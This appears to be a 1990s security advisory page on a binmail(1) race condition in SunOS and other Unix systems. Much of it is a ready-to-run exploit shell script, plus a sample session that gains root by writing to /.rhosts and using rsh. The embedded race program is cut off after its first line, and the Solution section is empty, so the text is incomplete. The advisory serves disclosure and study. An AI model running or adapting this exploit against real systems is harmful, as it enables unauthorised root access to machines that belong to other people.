[ Search ]
[ What's New? ]
[ About ]
|
|
| binmail(1) (/usr/bin/mail) | |
|---|---|
| Systems Affected: |
SunOS 4.1.x OSF/1 1.2, 1.3, and 2.0 Ultrix 4.3, 4.3A, 4.4 Solbourne ?.? (Possibly other platforms) |
| Problem: |
A race condition exists in binmail(1), which allows files to
be created in arbitrary places on the filesystem. These files
can be owned by arbitrary (usually system) users.
This example demonstrates how to become root on most affected machines by creating/appending-to root's .rhosts file. Please do not do this unless you have permission. Create the following file, 'mailscript':
8<--------------------------- cut here ----------------------------
#!/bin/sh
#
# Syntax: mailscript user target-file rsh-user
#
# This exploits a flaw in SunOS binmail(1), and attempts
# to become the specified 'user', by creating a .rhosts
# file and using rsh.
#
# Written 1992 by [8LGM]
# Please do not use this script without permission.
#
PATH=/usr/ucb:/usr/bin:/bin export PATH
IFS=" " export IFS
PROG="`basename $0`"
SPOOLDIR="/var/spool/mail"
# Check args
if [ $# -ne 3 ]; then
echo "Syntax: $PROG user target-file rsh-user"
exit 1
fi
TARGET="$1"
TARGET_FILE="$2"
RSH_USER="$3"
# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
echo "Sorry, this only works on SunOS"
exit 1
fi
# Check user exists
grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
if [ $? -ne 0 ]; then
echo "$PROG: Warning, $TARGET not in local passwd file"
# We continue though, might be in the YP passwd file
fi
# Check target file
if [ -f $TARGET_FILE ]; then
OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
2>/dev/null
echo "$PROG: Warning, $TARGET_FILE already exists, appending"
else
OLD_TARGET_LEN=0
fi
# Delete spool file if its a link, and we are able
if [ -h "$SPOOLDIR/$TARGET" ]; then
rm -f "$SPOOLDIR/$TARGET"
# Dont worry about errors, we catch it below
fi
# Check mail file
if [ -f "$SPOOLDIR/$TARGET" ]; then
echo "$PROG: ${TARGET}'s mail file exists."
exit 1
fi
# Make the race program
cat >mailrace.c << 'EOF'
#include
(Lines marked with > represent user input)
Check what root users are on the system:
> % grep :0: /etc/passwd
root:*:0:1:Operator:/:/bin/csh
sysdiag:*:0:1:Old System
Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
sundiag:*:0:1:System
Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
+::0:0:::
We choose a user with UID 0, but without a /var/spool/mail/
> % ls -l /var/spool/mail/sysdiag
/var/spool/mail/sysdiag not found
Execute mailscript. The user is sysdiag, the target file is /.rhosts, and
the user to rsh to on success is root:
> % chmod 700 mailscript
> % ./mailscript sysdiag /.rhosts root
mailscript: Warning, /.rhosts already exists, appending
Sending mail to sysdiag
We won the race, becoming root
./mailscript: 11051 Killed
#
This problem exists because /var/spool/mail is rwxrwxrwt. (Other
systems have their spool dir rwxrwxr-x, and run their MUA's sgid
mail). Before it opens the mail file, binmail does an lstat(2)
to check that it is not about to write to a linked file. The
intention is to prevent arbitrary files from being created or
appended to.
However, there exists a window of opportunity between lstat(2) and open(2); if a link is created after lstat, open will then follow the link. This is not a straightforward task, as it is not possible to predict when to create the link. Therefore it is necessary to have a program (mailrace) which continually creates links and then removes them. To exploit the window of opportunity, it is required that the link has been removed before the context switch for lstat, but exists for open. There are three possible outcomes for this race:- 1) lstat finds a link - mail returned to sender. 2) link does not exist for lstat, but does for open - file created - we win. 3) link does not exist for lstat or open - mailbox created. In this case, it is not possible to remove the mailbox (as the stick bit is set on /var/spool/mail), so it is necessary to choose another target user. In tests, it would appear that the chances of 1) and 2) occurring are approximately equal, with the chance of 3) being somewhat lower. Please note that this vulnerability may exist on other platforms where the mail spool directory has mode 777 and /bin/mail is setuid root. |
| Solution: |
|
|
Aleph One / aleph1@underground.org Copyright © 1996 Computer Underground Society. All rights reserved. |
|